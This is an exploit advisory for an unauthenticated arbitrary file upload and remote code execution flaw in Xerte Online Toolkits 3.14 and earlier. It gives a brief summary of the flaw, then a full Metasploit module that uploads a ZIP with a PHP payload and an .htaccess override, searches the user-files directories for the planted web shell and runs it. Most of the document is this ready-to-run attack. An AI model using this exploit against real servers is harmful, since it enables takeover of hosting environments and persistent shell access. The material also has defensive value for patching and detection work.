=============================================================================================================================================
| # Title : Xerte Online Toolkits ≤ 3.14 Unauthenticated Template Import Leads to Arbitrary File Upload and Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://xot.xerte.org.uk/ |
=============================================================================================================================================
[+] Summary : A vulnerability in Xerte Online Toolkits versions 3.14 and earlier allows unauthenticated users to upload arbitrary files via the template import functionality.
The issue exists in: /website_code/php/import/import.php
Due to missing authentication checks on the import endpoint, an attacker can upload a crafted ZIP archive disguised as a legitimate project template. The archive may contain a malicious PHP payload placed inside the media/ directory.
[+] Once imported:
The application extracts the ZIP contents into a publicly accessible directory under: USER-FILES/{projectID}--{targetFolder}/
The attacker can directly access the uploaded PHP file.
This results in remote code execution (RCE) under the web server context.
[+] The vulnerability combines:
Missing authentication
Insufficient file type validation
Unsafe extraction of user-controlled archives
[+] Successful exploitation may allow attackers to:
Execute arbitrary PHP code
Gain persistent web shell access
Compromise the hosting environment
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
'Description' => %q{
This module exploits an authentication bypass allowing arbitrary
file upload in versions 3.14 and earlier to upload and execute a shell.
Specifically, this targets /website_code/php/import/import.php
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka',
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
]
)
end
def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
return Exploit::CheckCode::Unknown unless res
if res.code == 200 &&
res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def upload_payload_zip
zip = Rex::Zip::Archive.new
zip.add_file("media/#{php_filename}", payload.encoded)
zip.add_file('media/.htaccess', htaccess_payload)
zip.add_file('data.xml', %q{
})
zip.add_file('mal-theme.info', %q{
name: mal-theme
display name: Flat: Black & Green
description: Test
enabled: yes
preview: apereo.jpg
})
zip.add_file('template.xml', %q{
})
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Upload failed or server did not respond as expected')
end
print_good('ZIP uploaded successfully')
end
def http_send_command(_cmd)
found = nil
for i in 1..100 do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{i}--Nottingham", 'media', php_filename)
})
next unless res&.code == 200
print_status("Found shell at #{i}")
found = i
break
end
unless found
fail_with(Failure::NotFound, 'Shell not found in expected USER-FILES directories')
end
register_file_for_cleanup("USER-FILES/#{found}--Nottingham/media/#{php_filename}")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{found}--Nottingham", 'media', php_filename)
})
end
def exploit
upload_payload_zip
http_send_command(payload.encoded)
end
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end
def htaccess_payload
<<~PAYLOAD
RewriteEngine Off
PAYLOAD
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================